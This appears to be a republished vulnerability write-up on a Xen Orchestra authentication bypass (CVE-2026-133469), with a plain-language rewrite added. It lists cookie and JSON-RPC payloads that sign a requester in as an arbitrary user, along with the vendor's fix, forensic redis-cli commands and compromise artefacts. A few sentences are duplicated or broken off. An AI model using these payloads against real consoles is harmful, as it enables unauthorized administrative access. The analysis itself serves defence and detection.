Twenty-Six Cookies Logged In. The Block Rule Stopped Three.
Xen Orchestra's authentication token lookup accepted non-string values such as an empty object or array, which caused the token store to return the first available login token and sign the requester in as that token's owner. An attacker could therefore authenticate as an arbitrary user, including an administrator, without credentials.
Published on medium.com
On 10 November at 09:29 CET, a commit titled fix(xo-server): validate authentication token IDs landed in the Xen Orchestra repository. It changes four files.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Xen Orchestra is a management console for XenServer and XCP-ng pools. It exposes a REST API and a JSON-RPC API, and both funnel authentication through the same token provider. A client presents a token, the provider looks it up in a Redis-backed token store, checks expiry, stamps the source IP into last_uses, and signs the caller in as that token's owner.
The vulnerability is tracked as CVE-2026-133469. The advisory describes it as an authentication token containing an empty JSON object. The commit that fixes it, fix(xo-server): validate authentication token IDs, landed on 10 November at 09:29 CET and touches four files. Fifteen days later CISA added the CVE to the KEV catalogue with a 28 November deadline.
The important framing is that the empty object is a symptom, not the condition. The condition is that the token lookup never checks the type of what it was handed.
Setup
No live Xen Orchestra, Redis or XCP-ng host was available for this work. The researcher rebuilt the vulnerable path from shipped pieces:
[redacted][redacted]- the real
lodash/isEmpty - the pre-fix lookup functions, transcribed from the repository
The corpus was replayed on 28 November 2026 against a synthetic three-token store. The 26-of-36 result is a property of the code path, not a scan of a real instance. The JSON-RPC variant and the last_uses record are read from source and from the vendor advisory, not observed.
Finding it
The advisory's summary is easy to misread:
REST cookie parsing turns
authenticationToken=j:%7B%7Dinto{}.
That sentence compresses three layers into one. The wire value is authenticationToken=j:%7B%7D. After cookie.parse it is j:{}. After cookie-parser it is {}. A WAF or reverse proxy inspects the first layer. The provider inspects the third. Everything between them is a decoder, and each decoder is a place where a rule written against the wire form can stop matching while the application still sees the same object.
That gap is what the researcher set out to measure: not whether the bug exists, but whether the published mitigation actually blocks it.
Exploitation
Step 1: follow the REST middleware
The REST middleware reads two cookie names and hands the result to the provider:
const token = cookies.authenticationToken ?? cookies.token
Object.assign(credentials, { token })
const { user } = await xoApp.authenticateUser(credentials, { ip }, { bypassTaskCreation: hasToken })
Two things matter here. Either cookie name reaches the same code, and bypassTaskCreation is set whenever a token is present, so token authentication creates no task record.
Step 2: watch the provider accept the object
// token provider
if (!tokenId) { return } // {} is truthy
const token = await app.getAuthenticationToken(tokenId)
The guard is a truthiness check. An empty object is truthy, so it passes. An empty object is truthy, so it passes the guard.
Step 3: watch the lookup discard the type
// token lookup
const id = typeof properties === 'string' ? properties : properties.id // undefined
const token = await this._tokens.first(properties ?? id)
When the value is not a string, the code reads .id off it, which is undefined for {}. Then it passes the original object to Collection#first.
Step 4: understand why first returns a token
Collection#first passes objects through untouched. Redis#_get asks isEmpty(properties). For {} the answer is yes, so the code reads the whole xo:token_ids set and returns every token. first() returns index zero. The provider then checks expiry, stamps the source IP into last_uses, and signs in as that token's owner.
Nothing in that path asks what type the token was.
Step 5: replay the corpus against the published rule
The researcher tested eighteen encodings across two cookie names, 36 requests in total, against a three-token store. The cookie values tested:
j:{}
j:%7B%7D
j:%7b%7d
j:%20%7B%7D
j:%09%7B%7D
j:%7B%20%7D
j:%7B%7D%20
j:[]
j:%5B%5D
j:[%20]
j:%5B%20%5D
j:{"user_id":"user-bob"}
j:%7B%22user_id%22%3A%22user-bob%22%7D
j:0
j:false
j:""
j:null
{}
The rule tested is the advisory's literal match on authenticationToken=j:{} or authenticationToken=j:%7B%7D. A regex with the same alternation scores identically.
The aggregate result: thirteen of the eighteen values authenticate. Under the authenticationToken cookie name the rule catches three. Under the token cookie name it catches none, because the pattern starts with a cookie name that is not being sent. That is 26 authenticated requests out of 36, with three blocked.
Vates warns in the advisory that the rule can be bypassed using other formats, so this is not a vendor error. It is the gap between a warning and how warnings get used: pasted into a proxy config as a string, treated as a control, never measured.
Step 6: the array is the tell
Every public description of this bug, including CISA's KEV entry, says the token is an empty JSON object. The object is a symptom. The condition is typeof token !== 'string', and [] does exactly the same thing. An empty array is not an empty object, but it is empty to isEmpty, and Collection#first passes arrays through because lodash/isObject([]) is true.
Step 7: the targeted variant
j:{"user_id":"user-bob"} is a non-empty object, so isEmpty is false and the code goes to the index lookup. That lookup is built on exactly the two indexes the token store declares, user_id and client_id. If you know an administrator's user id, which appears in REST URLs and audit exports, you do not need the first-token lottery. You ask for theirs.
Step 8: the second door, with no cookie at all
The REST middleware is one of two ways into the provider. The other is the JSON-RPC method session.signIn. Its source is an accidental history of the bug:
export async function signIn(credentials) { ... } // no .params
signIn.permission = null
export const signInWithToken = deprecate(signIn, ...)
signInWithToken.params = { token: { type: 'string' } } // the deprecated one validates
The API layer only compiles a validator when a method declares params. The current sign-in method declares none, so this body reaches authenticateUser with the same object and no cookie in the request:
{"method":"session.signIn","params":{"token":{}}}
The deprecated method nobody should be using is the one that enforced the type. A proxy rule on a cookie header cannot see this. That is not a tuning problem; it is a layer problem.
Root cause
The provider's guard is a truthiness check, and the lookup forwards whatever it was given to a collection method that treats an empty object as "no filter". The type of the token is never validated anywhere on the path. The fix's own test file lists the input space the maintainers considered invalid:
const INVALID_TOKEN_IDS = [
{}, [], null, undefined, 0, 1, true, false, '',
{ user_id: 'user-1' }, { id: '' }, { id: 42 }, ...
]
{}, [] and { user_id } are all in that list. The published block rule covers the first.
Existing defences did not stop it for three reasons. The WAF rule matches the wire form of one cookie name and one encoding, so any other encoding, the second cookie name, or the JSON-RPC body passes through. The API layer's validator is only compiled when a method declares params, and the current sign-in method declares none. And the log middleware writes nothing that would distinguish the exploit from a normal request.
Impact
A successful request authenticates the caller as the owner of whichever token first() returned, which in a populated store is the first login token the server holds. With the targeted variant, an attacker who knows an administrator's user id can ask for that administrator's token directly. With admin from the cookie, the attacker skips the requirement in VSA-2026-063, where an unprivileged account with VM import rights could pass crafted keys in an imported XVA and reach the host.
The vendor states plainly: "In the case of a successful exploitation, there is no log to detect unauthenticated access." The REST log middleware writes one line per request, at debug level:
log.debug(`[${new Date().toISOString()}] ${method} ${originalUrl} ${statusCode} ${duration}ms`)
No headers, no cookies, and at the default level it is not emitted at all. At debug level it is indistinguishable from a normal authenticated request. Because the middleware passes bypassTaskCreation: hasToken, token authentication creates no task record. The exploit leaves nothing in any of the three places an analyst would look.
It does leave something in Redis. The provider writes the source IP onto the token it borrowed:
let { last_uses = {} } = token
last_uses[ip] = { timestamp: Date.now() }
await this._tokens.update(token)
Token records live at xo:token:<id> as JSON strings. Without encrypted credentials they can be read directly:
redis-cli --scan --pattern 'xo:token:*' | while read k; do redis-cli get "$k"; done
Each record's last_uses map should hold only addresses your users sign in from. An address in that map without a matching sign-in in the proxy log is the exploit's fingerprint, written by the victim's own server. With credential encryption the records are ciphertext; you need the XO crypto key to read them.

The token record will tell you which address authenticated. The log will not.
The artefacts Vates published from compromised hosts:
| Host | Artefact |
|---|---|
| Xen Orchestra | running VM named pivot2 |
| XCP-ng host | VM with hvm_serial: file; -serial file: in xensource.log |
| XCP-ng host | /etc/cron.d/zz-ustar, /etc/cron.d/zz-ustar2 |
| XCP-ng host | /.ustar5, /.ustar6 |
| XCP-ng host | modified /etc/ld.so.preload |
ld.so.preload is the one to check first. It forces a library into every dynamically linked process on the host, which is how you hide a VM, a process and a file from the person looking.
Fix
The patch is small and it is in the right place:
- if (!tokenId) {
+ if (!isNonEmptyString(tokenId)) {
- async _getAuthenticationToken(id, properties) {
- const token = await this._tokens.first(properties ?? id)
+ async _getAuthenticationToken(id, userId) {
+ if (!isNonEmptyString(id) || (userId !== undefined && !isNonEmptyString(userId))) return
+ const token = await this._tokens.first(userId === undefined ? id : { id, user_id: userId })
The helper the first hunk relies on:
const isNonEmptyString = value => typeof value === 'string' && value.length !== 0
The second hunk matters long-term: it stops forwarding caller-supplied objects to the database and rebuilds the query from two validated strings. That closes the class, not the string.
The fix ships in 6.9.2 (stable) and 6.10.1 (latest); the report also gives xo-server 5.211.2 and 5.213.1. The vendor advisory says affected is "before 6.9.2 (stable) and 6.10.1 (latest)". The Hacker News and BleepingComputer both reported the fix as "6.9.1 and 6.10.0". Those are the last vulnerable builds. An administrator on 6.9.1 who reads the coverage, confirms the version and closes the ticket is running the exact code the exploit targets.
If you cannot patch, take the console off the internet. A management interface that authenticates strangers is not one.
Patching does not undo a login. Check the host artefacts above, read last_uses out of the token records, and compare those addresses with your proxy logs. Rotate everything the console held: backup remotes, the pool secret, root, OTP secrets, mail credentials. Vates recommends a rebuild after a confirmed compromise, because cleanup cannot prove a backdoor is gone.
If you keep the block rule, fix the layer: match the decoded value, cover both cookie names, add a rule for the JSON-RPC body. Then measure it the way the vendor did. Their regression test runs four combinations of cookie name and value. The published rule covers one.
Variants to test
- Other encodings of the same object. Send
j:%7b%7d,j:%20%7B%7D,j:%09%7B%7D,j:%7B%20%7Dandj:%7B%7D%20under both cookie names. A positive result is a request that authenticates while the literal-match rule does not fire. - The array form. Send
j:[],j:%5B%5D,j:[%20]andj:%5B%20%5D. A positive result is the same first-token login as the empty object, which shows the rule is keyed to the wrong shape. - The targeted object. Send
j:{"user_id":"user-bob"}and its URL-encoded form. A positive result is a session as the named user rather than the first token in the store. - The second cookie name. Repeat any of the above under
tokeninstead ofauthenticationToken. A positive result is authentication with the rule silent, because the pattern is anchored on a cookie name that was not sent. - The JSON-RPC body. Post
{"method":"session.signIn","params":{"token":{}}}with no cookie at all. A positive result is authentication through a path no cookie-header rule can see. - Falsy and scalar values. Try
j:0,j:false,j:""andj:null. A positive result here would show the guard is weaker still than the empty-object case suggests.
Hunting notes
This class of bug hides where a value crosses from a string-shaped protocol into a language where objects and arrays are also values, and where the receiving code uses a truthiness check instead of a type check. The signals during recon are a token or identifier that is passed into a collection or database lookup without a type assertion, a lookup helper that treats an empty object as "no filter", and a guard written as if (!value) rather than a string check.
Two more signals are worth watching for. First, a mitigation published as a literal string match on a wire-format value: it tells you the vendor knows the class is wider than the string, and it gives you a ready-made list of encodings to try. Second, a deprecated method that declares a params validator while the current method does not: the API layer only compiles validators for methods that declare them, so the current method is the softer target.
The researcher replayed the shipped parser and lookup code against a synthetic store: 26 of 36 requests authenticated, three blocked. That framing, a measured bypass rate against the vendor's own published rule rather than a single proof of concept, is what makes the gap between the warning and the control concrete. The report is explicit that nothing was executed against a real instance, so the result is a property of the code path, not a scan.
What happened, in plain words
Xen Orchestra is a web console that lets an administrator manage servers. Think of it as the control panel for a fleet of virtual machines: you open it in a browser, sign in, and from there you can start, stop and inspect the machines on your servers. Because it can do almost anything to those servers, whoever gets into it gets a lot of power.
In November 2026 a fix for a bug in Xen Orchestra was published. The bug let someone sign in as an existing user without knowing that user's password. The trick was to send a login token that was not a piece of text at all, but an empty container (an "empty object"). The console accepted it, treated it as "no particular token chosen", and handed back the first valid login token it happened to hold. The attacker was then signed in as whoever owned that token.
The advisory also describes a rule matching the specific text of the attack. This report is about that workaround. The author rebuilt the vulnerable path from shipped pieces and replayed 36 requests against a synthetic token store. Twenty-six did. The published rule stopped three.
The report also describes a second entrance that never uses a cookie at all. and that a successful break-in leaves almost nothing in the logs. What it does leave is a small record inside the console's database, and that record is where an administrator should look.
A few words you will meet constantly below, explained once here:
- Server: a computer somewhere that answers requests from other computers.
- Browser: the program on your computer that talks to servers and shows you pages.
- API: a way for one program to talk to another, like a service counter. You hand over a request in a fixed format and get an answer back in a fixed format. A website's buttons are for people; an API is for programs.
- Cookie: a small label the server gives your browser and your browser shows again on every later request, so the server can recognise you. It is how a website remembers that you already signed in.
- Token: a long random string that stands in for your password after you sign in. Present the right token and the server treats you as signed in. It is like a cloakroom ticket: whoever holds the ticket gets the coat, no questions asked.
- Vulnerability: a flaw in software that lets someone make it behave in a way its authors did not intend.
- Authentication bypass: a vulnerability that lets you get past the sign-in check without valid credentials.
- Exploit: the concrete request or sequence of steps that abuses a vulnerability.
- CVE: a public catalogue number given to a known vulnerability so everyone can refer to the same thing. This one is CVE-2026-133469.
- CISA: the United States agency that, among other things, keeps a list of vulnerabilities that are being actively exploited and sets deadlines for government agencies to patch them. That list is called KEV, the Known Exploited Vulnerabilities catalogue.
- Vendor: the company that makes the software. Here it is Vates, the company behind Xen Orchestra.
- WAF: web application firewall. A filter that sits in front of a web server and inspects incoming requests, blocking ones that match patterns someone wrote down.
- Redis: a very fast storage system that keeps data in memory. Xen Orchestra uses it to hold its login tokens.
The product, and why its sign-in matters
Xen Orchestra is a management console for XenServer and XCP-ng pools. A "pool" is a group of physical servers that work together to run virtual machines. The console gives you one screen to control all of them.
It offers two ways for programs to talk to it. One is a REST API: a style of API where each request goes to a web address and the answer comes back as data. The other is a JSON-RPC API: a style where every request is a small structured message saying "run this named function with these arguments". JSON is just a text format for structured data, and RPC stands for remote procedure call, meaning "run a function on the other machine".
Both entrances lead to the same internal checkpoint, called the token provider. Here is the flow in everyday terms:
- A client arrives holding a token.
- The provider looks that token up in a store kept in Redis.
- It checks the token has not expired.
- It writes down the address the request came from, in a field called
last_uses. - It signs the caller in as the owner of that token.
The bug in this report is CVE-2026-133469. The vendor's advisory describes it as an authentication token containing an empty JSON object. The commit that fixes it, titled fix(xo-server): validate authentication token IDs, landed on 10 November at 09:29 CET and touches four files. Fifteen days later CISA added the CVE to the KEV catalogue with a 28 November deadline.
The key idea of the whole report is this: the empty object is a symptom, not the cause. The cause is that the token lookup never checks what kind of value it was handed. It accepts text, but it also accepts containers, and it does not notice the difference.
How the test was set up
No live Xen Orchestra, Redis or XCP-ng host was available for this work. So the author did not attack a real installation. Instead they rebuilt the vulnerable path from the actual shipped pieces:
[redacted], a small library that reads cookie text from a request.[redacted], a library that sits on top of it and turns cookie text into usable values.- the real
lodash/isEmpty, a helper that answers the question "is this value empty?". - the pre-fix lookup functions, copied by hand from the repository.
They then replayed the test on 28 November 2026 against a synthetic three-token store, meaning a fake token store they built themselves holding three tokens. The 26-of-36 result is therefore a property of the code path, not a scan of a real instance. The JSON-RPC variant and the last_uses record are read from source and from the vendor advisory, not observed happening.
Why do it this way? Because the question is not "does the bug exist" but "does the published workaround actually block it". You can answer that with the real code and a fake store, without touching anyone's servers.
Finding it: one cookie, three shapes
The advisory's summary is easy to misread:
REST cookie parsing turns
authenticationToken=j:%7B%7Dinto{}.
That one sentence compresses three layers into one. Let us unpack it.
The value on the wire, meaning the raw text that travels in the request, is authenticationToken=j:%7B%7D. The part after the equals sign is j:%7B%7D. The %7B and %7D are percent-encoding: a way of writing characters that would otherwise be awkward in a web address or header. %7B means { and %7D means }. So the raw text is really j:{}.
After the first library, cookie.parse, the value is j:{}. After the second library, cookie-parser, the value is {}. The j: prefix is a marker that tells the second library "the rest of this is JSON, please decode it". JSON is the text format for structured data mentioned earlier, and {} is JSON for an empty object.
So there are three layers:
| Layer | What the value looks like |
|---|---|
| Wire | authenticationToken=j:%7B%7D |
After cookie.parse |
j:{} |
After cookie-parser |
{} |
A WAF or reverse proxy inspects the first layer, the raw text. The provider inspects the third layer, the decoded object. Everything between them is a decoder, and each decoder is a place where a rule written against the raw form can stop matching while the application still sees the same object.
That gap is what the author set out to measure: not whether the bug exists, but whether the published mitigation actually blocks it.
Exploitation, step by step
Step 1: follow the REST middleware
"Middleware" is code that runs on the way in, before the main handler. The REST middleware reads two cookie names and hands the result to the provider:
const token = cookies.authenticationToken ?? cookies.token
Object.assign(credentials, { token })
const { user } = await xoApp.authenticateUser(credentials, { ip }, { bypassTaskCreation: hasToken })
Line by line:
const token = cookies.authenticationToken ?? cookies.tokentakes the value of the cookie namedauthenticationToken, and if that is missing, falls back to the cookie namedtoken. The??means "use the left side unless it is missing". So either cookie name reaches the same code.Object.assign(credentials, { token })copies the token into the credentials bundle that will be passed along.const { user } = await xoApp.authenticateUser(credentials, { ip }, { bypassTaskCreation: hasToken })calls the sign-in function, passing the credentials, the caller's address, and a flag. The flagbypassTaskCreation: hasTokenmeans: when a token is present, do not create a task record. A task record is the console's note that some action was performed. So token sign-ins leave no such note.
Two things matter here. Either cookie name reaches the same code, and token authentication creates no task record.
Step 2: watch the provider accept the object
// token provider
if (!tokenId) { return } // {} is truthy
const token = await app.getAuthenticationToken(tokenId)
Line by line:
if (!tokenId) { return }is a guard. It says: if the token is missing or otherwise counts as "false-like", stop here. In JavaScript, values such as0,"",nullandundefinedcount as false-like. An empty object{}does not. It counts as true-like, so the guard lets it through. The comment in the code says exactly that:{}is truthy.const token = await app.getAuthenticationToken(tokenId)then asks for the token with that value.awaitmeans "wait for the answer before continuing".
The guard is a truthiness check, not a type check. It asks "is there something here?" rather than "is this a piece of text?". An empty object is something, so it passes. An empty object is something, so it passes the guard.
Step 3: watch the lookup discard the type
// token lookup
const id = typeof properties === 'string' ? properties : properties.id // undefined
const token = await this._tokens.first(properties ?? id)
Line by line:
const id = typeof properties === 'string' ? properties : properties.idasks: is the value a string? If yes, use it as the id. If no, read the.idfield off it. For{}there is no such field, soidbecomesundefined, meaning "nothing". The comment in the code notes this.const token = await this._tokens.first(properties ?? id)then passes the original object to a collection method calledfirst. The??again means "use the left side unless it is missing". Since the object is present, the object itself is passed on, not theundefinedid.
So the type information is thrown away, and the raw object travels deeper.
Step 4: understand why first returns a token
Collection#first passes objects through untouched. Redis#_get asks isEmpty(properties), meaning "is this value empty?". For {} the answer is yes. When the lookup is empty, the code treats it as "no filter was given", so it reads the whole xo:token_ids set and returns every token. first() then returns index zero, the first one in the list.
The provider then checks expiry, stamps the source IP into last_uses, and signs in as that token's owner.
Nothing in that path asks what type the token was. That is the whole bug in one sentence.
Step 5: replay the corpus against the published rule
A "corpus" here just means the set of test inputs. The author tested eighteen encodings across two cookie names, 36 requests in total, against a three-token store. The cookie values tested:
j:{}
j:%7B%7D
j:%7b%7d
j:%20%7B%7D
j:%09%7B%7D
j:%7B%20%7D
j:%7B%7D%20
j:[]
j:%5B%5D
j:[%20]
j:%5B%20%5D
j:{"user_id":"user-bob"}
j:%7B%22user_id%22%3A%22user-bob%22%7D
j:0
j:false
j:""
j:null
{}
What these are, in plain words:
j:{}is the plain empty object.j:%7B%7Dis the same thing with the braces percent-encoded.j:%7b%7dis the same again in lowercase hex. Percent-encoding does not care about case, so this is the same value.j:%20%7B%7D,j:%09%7B%7D,j:%7B%20%7Dandj:%7B%7D%20add spaces or tabs around the braces.%20is a space and%09is a tab. To a decoder these are still an empty object.j:[]is an empty array, a list with nothing in it.j:%5B%5D,j:[%20]andj:%5B%20%5Dare the same array with encoding and whitespace variations.%5Bis[and%5Dis].j:{"user_id":"user-bob"}is a non-empty object naming a particular user. Its encoded form isj:%7B%22user_id%22%3A%22user-bob%22%7D, where%22is a double quote and%3Ais a colon.j:0,j:false,j:""andj:nullare other kinds of value: a number, a false, an empty string and a null.{}is the bare object with noj:prefix at all.
The rule tested is the advisory's literal match on authenticationToken=j:{} or authenticationToken=j:%7B%7D. "Literal match" means the filter looks for exactly those characters. A regex with the same alternation scores identically. A regex is a pattern-matching language, and an alternation is an "either this or that" choice inside it.
The aggregate result: thirteen of the eighteen values authenticate. Under the authenticationToken cookie name the rule catches three. Under the token cookie name it catches none, because the pattern starts with a cookie name that is not being sent. That is 26 authenticated requests out of 36, with three blocked.
Vates warns in the advisory that the rule can be bypassed using other formats, so this is not a vendor error. It is the gap between a warning and how warnings get used: pasted into a proxy config as a string, treated as a control, never measured. A proxy config is the settings file for the filter in front of the server. Pasting a rule there feels like protection, but nobody checked what it actually stops.
Step 6: the array is the tell
Every public description of this bug, including CISA's KEV entry, says the token is an empty JSON object. The object is a symptom. The condition is typeof token !== 'string', meaning "the token is not a piece of text". And [], an empty array, does exactly the same thing. An empty array is not an empty object, but it is empty to isEmpty, and Collection#first passes arrays through because lodash/isObject([]) is true. In other words, the helper that asks "is this an object?" says yes to arrays too.
This matters because it shows the published rule is keyed to the wrong shape. Blocking the empty object does not block the empty array, and both do the same damage.
Step 7: the targeted variant
j:{"user_id":"user-bob"} is a non-empty object, so isEmpty is false and the code goes to the index lookup. An index is a lookup table that lets the database find records quickly by a particular field, like the index at the back of a book. That lookup is built on exactly the two indexes the token store declares, user_id and client_id.
If you know an administrator's user id, which appears in REST URLs and audit exports, you do not need the first-token lottery. You ask for theirs. The first-token lottery means hoping the first token in the store belongs to someone useful. The targeted variant removes the luck.
Step 8: the second door, with no cookie at all
The REST middleware is one of two ways into the provider. The other is the JSON-RPC method session.signIn. Its source is an accidental history of the bug:
export async function signIn(credentials) { ... } // no .params
signIn.permission = null
Line by line:
export async function signIn(credentials) { ... }declares the sign-in function.exportmakes it available to other files,asyncmeans it can wait for slow work, andcredentialsis what the caller passes in. The comment// no .paramsnotes that this function does not declare aparamsdescription.signIn.permission = nullsets the permission requirement to none, meaning anyone may call it.
export const signInWithToken = deprecate(signIn, ...)
signInWithToken.params = { token: { type: 'string' } } // the deprecated one validates
Line by line:
export const signInWithToken = deprecate(signIn, ...)creates an older, deprecated version of the same function. Deprecated means "still works, but you should stop using it".signInWithToken.params = { token: { type: 'string' } }declares that this older version expects a parameter calledtoken, and that it must be a string. The comment notes that the deprecated one validates.
The API layer only compiles a validator when a method declares params. A validator is a checker that inspects incoming data and rejects anything of the wrong shape. The current sign-in method declares none, so this body reaches authenticateUser with the same object and no cookie in the request:
{"method":"session.signIn","params":{"token":{}}}
What this says: run the method named session.signIn, and pass it a parameter called token whose value is an empty object. No cookie is involved at all.
The deprecated method nobody should be using is the one that enforced the type. A proxy rule on a cookie header cannot see this. That is not a tuning problem; it is a layer problem. The filter is watching the wrong layer of the conversation.
Root cause
The provider's guard is a truthiness check, and the lookup forwards whatever it was given to a collection method that treats an empty object as "no filter". The type of the token is never validated anywhere on the path.
The fix's own test file lists the input space the maintainers considered invalid:
const INVALID_TOKEN_IDS = [
{}, [], null, undefined, 0, 1, true, false, '',
{ user_id: 'user-1' }, { id: '' }, { id: 42 }, ...
]
This is a list, in code, of token values the maintainers decided must be rejected. Reading it: {} is the empty object, [] the empty array, null and undefined mean nothing, 0 and 1 are numbers, true and false are booleans, '' is an empty string, { user_id: 'user-1' } is an object naming a user, and { id: '' } and { id: 42 } are objects with an id that is empty or a number. The ... means the list continues.
{}, [] and { user_id } are all in that list. The published block rule covers the first.
Existing defences did not stop it for three reasons:
- The WAF rule matches the wire form of one cookie name and one encoding, so any other encoding, the second cookie name, or the JSON-RPC body passes through.
- The API layer's validator is only compiled when a method declares
params, and the current sign-in method declares none. - The log middleware writes nothing that would distinguish the exploit from a normal request.
Impact: what an attacker gets, and what is left behind
A successful request authenticates the caller as the owner of whichever token first() returned, which in a populated store is the first login token the server holds. With the targeted variant, an attacker who knows an administrator's user id can ask for that administrator's token directly.
There was a second flaw, VSA-2026-063, where an unprivileged account with VM import rights could pass crafted keys in an imported XVA and reach the host. An XVA is a file format for exporting and importing virtual machines. With admin from the cookie, the attacker skips that requirement entirely.
The vendor states plainly: "In the case of a successful exploitation, there is no log to detect unauthenticated access." The REST log middleware writes one line per request, at debug level:
log.debug(`[${new Date().toISOString()}] ${method} ${originalUrl} ${statusCode} ${duration}ms`)
Line by line:
log.debug(...)writes a message at debug level. Debug is the most chatty level of logging, used for troubleshooting, and it is usually switched off in normal operation.${new Date().toISOString()}inserts the current time in a standard format.${method}inserts the request method, such as GET or POST.${originalUrl}inserts the address that was requested.${statusCode}inserts the numeric result code, such as 200 for success.${duration}msinserts how long the request took, in milliseconds.
No headers, no cookies, and at the default level it is not emitted at all. At debug level it is indistinguishable from a normal authenticated request. Because the middleware passes bypassTaskCreation: hasToken, token authentication creates no task record. The exploit leaves nothing in any of the three places an analyst would look.
It does leave something in Redis. The provider writes the source IP onto the token it borrowed:
let { last_uses = {} } = token
last_uses[ip] = { timestamp: Date.now() }
await this._tokens.update(token)
Line by line:
let { last_uses = {} } = tokenpulls thelast_usesfield out of the token record, defaulting to an empty object if it is missing.last_usesis a map of addresses to times: who used this token, and when.last_uses[ip] = { timestamp: Date.now() }adds or overwrites the entry for the caller's address, storing the current time.await this._tokens.update(token)saves the changed record back to the store.
Token records live at xo:token:<id> as JSON strings. Without encrypted credentials they can be read directly:
redis-cli --scan --pattern 'xo:token:*' | while read k; do redis-cli get "$k"; done
Line by line:
redis-cliis the command-line tool for talking to Redis.--scan --pattern 'xo:token:*'lists all keys whose names start withxo:token:. The*is a wildcard meaning "anything".| while read k; do ... donetakes each key in turn and runs the commands betweendoanddonefor it, storing the key in a variable calledk.redis-cli get "$k"fetches the value stored under that key.
Each record's last_uses map should hold only addresses your users sign in from. An address in that map without a matching sign-in in the proxy log is the exploit's fingerprint, written by the victim's own server. With credential encryption the records are ciphertext, meaning scrambled text, and you need the XO crypto key to read them.

The token record will tell you which address authenticated. The log will not.
The artefacts Vates published from compromised hosts:
| Host | Artefact |
|---|---|
| Xen Orchestra | running VM named pivot2 |
| XCP-ng host | VM with hvm_serial: file; -serial file: in xensource.log |
| XCP-ng host | /etc/cron.d/zz-ustar, /etc/cron.d/zz-ustar2 |
| XCP-ng host | /.ustar5, /.ustar6 |
| XCP-ng host | modified /etc/ld.so.preload |
An artefact here means a trace left on a machine that was broken into. Reading the table: a virtual machine named pivot2 was running on the console; on the physical host, a virtual machine was configured to write its serial output to a file, and that shows up in a log file called xensource.log; two files were placed in /etc/cron.d, a directory whose files schedule jobs to run automatically; two hidden files were placed at the root of the filesystem; and a file called /etc/ld.so.preload was modified.
ld.so.preload is the one to check first. It forces a library into every dynamically linked process on the host, which is how you hide a VM, a process and a file from the person looking. A library is a bundle of shared code that programs load, and a dynamically linked process is one that loads such code at startup. Forcing a library in means every program on the machine runs code the attacker chose.
The fix
The patch is small and it is in the right place:
- if (!tokenId) {
+ if (!isNonEmptyString(tokenId)) {
This is a diff, a format that shows what changed: lines starting with - were removed and lines starting with + were added. The old guard asked "is there something here?". The new guard asks "is this a non-empty string?", using a helper called isNonEmptyString. That is the difference between a truthiness check and a type check.
- async _getAuthenticationToken(id, properties) {
- const token = await this._tokens.first(properties ?? id)
+ async _getAuthenticationToken(id, userId) {
+ if (!isNonEmptyString(id) || (userId !== undefined && !isNonEmptyString(userId))) return
+ const token = await this._tokens.first(userId === undefined ? id : { id, user_id: userId })
Line by line:
- The old function took
idandproperties, and passedproperties ?? idstraight to the lookup. That is how a caller-supplied object reached the database. - The new function takes
idanduserId, two values that are meant to be strings. if (!isNonEmptyString(id) || (userId !== undefined && !isNonEmptyString(userId))) returnrejects the call unlessidis a non-empty string, and unlessuserId, when it is supplied, is also a non-empty string.||means "or", and!==means "is not equal to".const token = await this._tokens.first(userId === undefined ? id : { id, user_id: userId })rebuilds the query itself from those two checked strings, instead of forwarding whatever the caller sent.
The helper the first hunk relies on:
const isNonEmptyString = value => typeof value === 'string' && value.length !== 0
Line by line: typeof value === 'string' checks the value really is a piece of text, and value.length !== 0 checks it is not empty. Both must be true. An object, an array, a number or an empty string all fail.
The second hunk matters long-term: it stops forwarding caller-supplied objects to the database and rebuilds the query from two validated strings. That closes the class, not the string. In other words, it does not just block the one known attack text; it blocks the whole family of attacks that rely on sending something that is not a string.
The fix ships in 6.9.2 (stable) and 6.10.1 (latest); the report also gives xo-server 5.211.2 and 5.213.1. The vendor advisory says affected is "before 6.9.2 (stable) and 6.10.1 (latest)". The Hacker News and BleepingComputer both reported the fix as "6.9.1 and 6.10.0". Those are the last vulnerable builds. An administrator on 6.9.1 who reads the coverage, confirms the version and closes the ticket is running the exact code the exploit targets.
If you cannot patch, take the console off the internet. A management interface that authenticates strangers is not one.
Patching does not undo a login. Check the host artefacts above, read last_uses out of the token records, and compare those addresses with your proxy logs. Rotate everything the console held: backup remotes, the pool secret, root, OTP secrets, mail credentials. To rotate means to replace a credential with a new one, so the old one stops working. Vates recommends a rebuild after a confirmed compromise, because cleanup cannot prove a backdoor is gone.
If you keep the block rule, fix the layer: match the decoded value, cover both cookie names, add a rule for the JSON-RPC body. Then measure it the way the vendor did. Their regression test runs four combinations of cookie name and value. A regression test is a test kept in the codebase to make sure a fixed bug stays fixed. The published rule covers one.
Variants to test
If you want to check your own setup, these are the variations worth trying. Each one lists what a positive result would mean.
- Other encodings of the same object. Send
j:%7b%7d,j:%20%7B%7D,j:%09%7B%7D,j:%7B%20%7Dandj:%7B%7D%20under both cookie names. A positive result is a request that authenticates while the literal-match rule does not fire. - The array form. Send
j:[],j:%5B%5D,j:[%20]andj:%5B%20%5D. A positive result is the same first-token login as the empty object, which shows the rule is keyed to the wrong shape. - The targeted object. Send
j:{"user_id":"user-bob"}and its URL-encoded form. A positive result is a session as the named user rather than the first token in the store. - The second cookie name. Repeat any of the above under
tokeninstead ofauthenticationToken. A positive result is authentication with the rule silent, because the pattern is anchored on a cookie name that was not sent. - The JSON-RPC body. Post
{"method":"session.signIn","params":{"token":{}}}with no cookie at all. A positive result is authentication through a path no cookie-header rule can see. - Falsy and scalar values. Try
j:0,j:false,j:""andj:null. A positive result here would show the guard is weaker still than the empty-object case suggests. Falsy means a value that counts as false in a check, and scalar means a single simple value such as a number or a string, as opposed to a container.
Hunting notes
This class of bug hides where a value crosses from a string-shaped protocol into a language where objects and arrays are also values, and where the receiving code uses a truthiness check instead of a type check. A protocol is an agreed format for messages between programs, and in most protocols everything is text. A programming language like JavaScript has richer values, and that is where the mismatch appears.
The signals during recon are a token or identifier that is passed into a collection or database lookup without a type assertion, a lookup helper that treats an empty object as "no filter", and a guard written as if (!value) rather than a string check. Recon means the early looking-around phase of a security review. A type assertion is an explicit check that a value is of the expected kind.
Two more signals are worth watching for. First, a mitigation published as a literal string match on a wire-format value: it tells you the vendor knows the class is wider than the string, and it gives you a ready-made list of encodings to try. Second, a deprecated method that declares a params validator while the current method does not: the API layer only compiles validators for methods that declare them, so the current method is the softer target.
